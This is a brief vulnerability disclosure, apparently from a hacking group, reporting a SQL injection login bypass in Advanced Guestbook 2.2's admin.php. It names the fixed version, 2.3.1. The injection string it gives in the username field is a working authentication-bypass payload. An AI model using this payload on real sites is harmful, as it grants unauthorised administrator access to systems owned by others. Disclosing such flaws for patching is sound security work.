Guestbook 2.2 webapplication (PHP, MySQL) appears vulnerable to SQL Injection granting the attacker administrator access.

Target : 

http://www.example.com/[GuestbookTarget]/admin.php

Username: ' or 1=1 /*
Password: (Nothing)(Blank)


It`s Working On Advanced Guestbook 2.2 version 2.3.1 will fix this vulnerability. 

Report By : POPO ( Pooya )
>From www.Babol-Hackers.com
bhs_team@yahoo.com
Y! ID : bhs_team , pooya_0nline
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BHS-Team

We Are : POPO + Padeshah  + Black ICE + Ezraeil + UNDERTAKER + Fa0p